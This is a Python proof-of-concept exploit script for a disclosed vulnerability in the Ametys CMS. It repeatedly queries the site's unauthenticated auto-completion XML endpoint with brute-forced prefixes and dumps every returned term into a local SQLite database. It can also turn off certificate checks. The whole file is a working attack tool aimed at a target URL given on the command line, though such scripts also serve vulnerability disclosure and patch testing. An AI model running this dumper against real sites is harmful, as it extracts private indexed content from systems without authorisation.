README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : CVE-2022-26159-Ametys-Autocompletion-XML.py
# Author : Podalirius (@podalirius_)
# Date created : 21 Feb 2022
import os
import xml.etree.ElementTree as ET
import argparse
import requests
import urllib
import datetime
import time
import sqlite3
import sys
def query_path_increment(query_path, alphabet):
query_path[-1] += 1
for k in range(len(query_path)):
if query_path[-1] == len(alphabet):
query_path.pop()
if len(query_path) > 0:
query_path[-1] += 1
class AmetysAutocompletionDumper(object):
"""
Documentation for class AmetysAutocompletionDumper
"""
def __init__(self, target, headers={}, logfile=None, db_filename="autocompletion.db", delay_between_requests=0, max_results=None, verify=False, quiet=False, nocolors=False, verbose=False):
super(AmetysAutocompletionDumper, self).__init__()
self.verbose = verbose
self.quiet = quiet
self.nocolors = nocolors
# HTTP options
self.target = target
if not self.target.startswith("http://") and not self.target.startswith("https://"):
self.target = "http://" + self.target
self.headers = headers
self.verify = verify
self.session = None
self.delay_between_requests = delay_between_requests
# Out files
self.db_filename = db_filename
self.logfile = logfile
if self.logfile is not None:
open(self.logfile, "w").close()
# Max results
self.max_results = max_results
self.db_init()
def db_init(self):
if os.path.exists(self.db_filename):
os.remove(self.db_filename)
conn = sqlite3.connect(self.db_filename)
cursor = conn.cursor()
cursor.execute("CREATE TABLE items(v TEXT)")
conn.commit()
conn.close()
return None
def db_store_results(self, results):
conn = sqlite3.connect(self.db_filename)
cursor = conn.cursor()
for entry in results:
cursor.execute("INSERT OR IGNORE INTO items(v) VALUES(?)", (entry,))
conn.commit()
conn.close()
return None
def dump(self):
self.session = requests.Session()
if self.max_results is None:
self.log("[+] Autodetecting max results limit from empty query to XML file ...")
r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml' % self.target, headers=self.headers, verify=self.verify)
nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None]
self.max_results = len(nodes)
self.log("[+] Detected maximum output is %d results.\n" % self.max_results)
self.log("[+] Parsing /plugins/web/service/search/auto-completion/")
self.log("[+] Started at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss"))
alphabet = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ0123456789.-/="
query_path = [0]
while query_path != [alphabet[-1], alphabet[-1]]:
time.sleep(self.delay_between_requests)
query = ''.join([alphabet[k] for k in query_path])
print('\r[>] Query = %-20s ' % query.ljust(15), end="")
sys.stdout.flush()
results = self.auto_completion_search(query)
if results is None:
if self.nocolors:
pretty_letter = '%s%s' % (query[:-1], query[-1])
print('\r[>] Query = %-49s >= %d, Too much results, narrowing request ... ' % (pretty_letter, self.max_results))
sys.stdout.flush()
else:
pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1])
print('\r[>] Query = %-49s >= %d, \x1b[1;91mToo much results\x1b[0m, narrowing request ... ' % (pretty_letter, self.max_results))
sys.stdout.flush()
self.log('[>] Query = %-49s >= %d, Too much results, narrowing request ... ' % ('%s%s'%(query[:-1], query[-1]), self.max_results), doprint=False)
query_path.append(0)
else:
if len(results) != 0:
if self.nocolors:
pretty_letter = '%s%s' % (query[:-1], query[-1])
print('\r[>] Query = %-49s %d results added !' % (pretty_letter, len(results)))
sys.stdout.flush()
else:
pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1])
print('\r[>] Query = %-49s \x1b[1;92m%d results added !\x1b[0m' % (pretty_letter, len(results)))
sys.stdout.flush()
self.log('[>] Query = %-49s %d results added !' % ('%s%s'%(query[:-1], query[-1]), len(results)), doprint=False)
self.db_store_results(results)
query_path_increment(query_path, alphabet)
self.log("[+] Ended at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss"))
def log(self, message, doprint=True):
print(message)
if self.logfile is not None:
f = open(self.logfile, "a")
f.write(message + "\n")
f.close()
def auto_completion_search(self, query):
r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml?q=%s' % (self.target, urllib.parse.quote(query)), headers=self.headers, verify=self.verify)
nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None]
if len(nodes) >= self.max_results:
return None
else:
data = []
for child in nodes:
if child.tag == 'item' and child.text is not None:
data.append(child.text)
time.sleep(self.delay_between_requests)
return data
def parseArgs():
print("%30s - by @podalirius\n" % "CVE-2022-26159-Ametys-Autocompletion-XML v1.1")
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-t", "--target", default=None, required=True, help='arg1 help message')
parser.add_argument("-H", "--header", default=[], dest="headers", action="append", required=False, help='Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")')
parser.add_argument("-k", "--insecure", default=False, action="store_true", help='Disable SSL/TLS warnings and certificate verification.')
group_verbosity = parser.add_mutually_exclusive_group(required=False)
group_verbosity.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
group_verbosity.add_argument("-q", "--quiet", default=False, action="store_true", help='Quiet mode. (default: False)')
parser.add_argument("--no-colors", dest="colors", action="store_true", default=False, help="Disables colored output. (default: False)")
return parser.parse_args()
if __name__ == '__main__':
options = parseArgs()
if options.insecure:
# Disable warings of insecure connection for invalid certificates
requests.packages.urllib3.disable_warnings()
# Allow use of deprecated and weak cipher methods
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
aad = AmetysAutocompletionDumper(
options.target,
headers=options.headers,
nocolors=options.colors,
verbose=options.verbose,
verify=(not options.insecure),
quiet=options.quiet
)
aad.dump()